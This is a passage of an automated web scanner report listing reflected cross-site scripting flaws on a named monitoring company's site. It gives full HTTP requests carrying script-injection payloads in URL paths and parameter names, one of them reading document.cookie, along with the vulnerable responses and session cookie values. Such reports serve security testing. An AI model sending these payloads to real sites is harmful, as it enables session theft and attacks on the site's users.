Date: Wed, 09 Feb 2011 12:09:51 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-fe63e897c8c8c65ab7dda34cbb89eccc"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 55184

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/plans_price.php?aefcd"><script>alert(1)</script>8026c9ab638=1" method="post">
...[SNIP]...

1.702. http://www.watchmouse.com/pl/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a52fa"><script>alert(1)</script>de9a0a26828 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pla52fa"><script>alert(1)</script>de9a0a26828/register.php?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-4f23c3b1b6bcfd0e1c8ef86aeda89773"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pla52fa"><script>alert(1)</script>de9a0a26828/register.php?vpackid=35" method="post">
...[SNIP]...

1.703. http://www.watchmouse.com/pl/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4a4c"><script>alert(1)</script>c1e789479b1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/register.phpb4a4c"><script>alert(1)</script>c1e789479b1?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-2f777be2caf6eb49a0c03ea7f9f0959f"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13241

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/register.phpb4a4c"><script>alert(1)</script>c1e789479b1?vpackid=35" method="post">
...[SNIP]...

1.704. http://www.watchmouse.com/pl/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e906"><script>alert(1)</script>33187f48a8d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/register.php?vpackid=35&3e906"><script>alert(1)</script>33187f48a8d=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-b8bbec3470d0a9f005d2c5426a9a5218"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&3e906"><script>alert(1)</script>33187f48a8d=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.705. http://www.watchmouse.com/pl/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8375"><script>alert(1)</script>5484fa8a473 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /plc8375"><script>alert(1)</script>5484fa8a473/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1de89192008ad540beb513c29b655122"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plc8375"><script>alert(1)</script>5484fa8a473/website_monitoring_features.php" method="post">
...[SNIP]...

1.706. http://www.watchmouse.com/pl/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47ed8"><script>alert(1)</script>01edd2d16b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/website_monitoring_features.php47ed8"><script>alert(1)</script>01edd2d16b2 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-b35d1f8348bbf0c7d158b7382971e445"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/website_monitoring_features.php47ed8"><script>alert(1)</script>01edd2d16b2" method="post">
...[SNIP]...

1.707. http://www.watchmouse.com/pl/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfaf1"><script>alert(1)</script>74620cbbd7c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/website_monitoring_features.php?dfaf1"><script>alert(1)</script>74620cbbd7c=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-f1abbbcf39b481222cfea288ce06f03d"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28060

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/website_monitoring_features.php?dfaf1"><script>alert(1)</script>74620cbbd7c=1" method="post">
...[SNIP]...

1.708. http://www.watchmouse.com/profile.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/profile.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 485f8"><script>alert(1)</script>829263c57fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /profile.php485f8"><script>alert(1)</script>829263c57fb HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-088e72cad5b03fa90dfea2635a3cd1e0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/profile.php485f8"><script>alert(1)</script>829263c57fb" method="post">
...[SNIP]...

1.709. http://www.watchmouse.com/profile.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/profile.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d69d6"><script>alert(1)</script>76a719c6455 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /profile.php?d69d6"><script>alert(1)</script>76a719c6455=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:18 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-59998ddb7c7d7b76e9f9f4e08d750e8c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12817

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/profile.php?d69d6"><script>alert(1)</script>76a719c6455=1" method="post">
...[SNIP]...

1.710. http://www.watchmouse.com/pt/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d3df"><script>alert(1)</script>b4591de2bf4 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=15d3df"><script>alert(1)</script>b4591de2bf4 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-4351dae73e613422d72b4f76997febff"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19370

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=15d3df"><script>alert(1)</script>b4591de2bf4" method="post">
...[SNIP]...

1.711. http://www.watchmouse.com/pt/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71207"><script>alert(1)</script>df3aab7fad7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt71207"><script>alert(1)</script>df3aab7fad7/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a0c0e2bb101b0647e86595fa30ddf71a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt71207"><script>alert(1)</script>df3aab7fad7/" method="post">
...[SNIP]...

1.712. http://www.watchmouse.com/pt/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e33a0"><script>alert(1)</script>c49fc269598 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/?e33a0"><script>alert(1)</script>c49fc269598=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:05 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-ec6db8edfe03dc53bdb4b1593700a639"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/?e33a0"><script>alert(1)</script>c49fc269598=1" method="post">
...[SNIP]...

1.713. http://www.watchmouse.com/pt/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec67d"><script>alert(1)</script>244e48d67fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ptec67d"><script>alert(1)</script>244e48d67fb/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-aad1f9a9d9d1f0d48b487e8498c7abe5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ptec67d"><script>alert(1)</script>244e48d67fb/feature/public-status-page.html" method="post">
...[SNIP]...

1.714. http://www.watchmouse.com/pt/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15fa4"><script>alert(1)</script>485d9a2f0a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature15fa4"><script>alert(1)</script>485d9a2f0a1/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-135b16a8e285a6b82ae8a9e14d12c1ef"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/feature15fa4"><script>alert(1)</script>485d9a2f0a1/public-status-page.html" method="post">
...[SNIP]...

1.715. http://www.watchmouse.com/pt/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37bea"><script>alert(1)</script>2f317ab17df was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/public-status-page.html37bea"><script>alert(1)</script>2f317ab17df HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
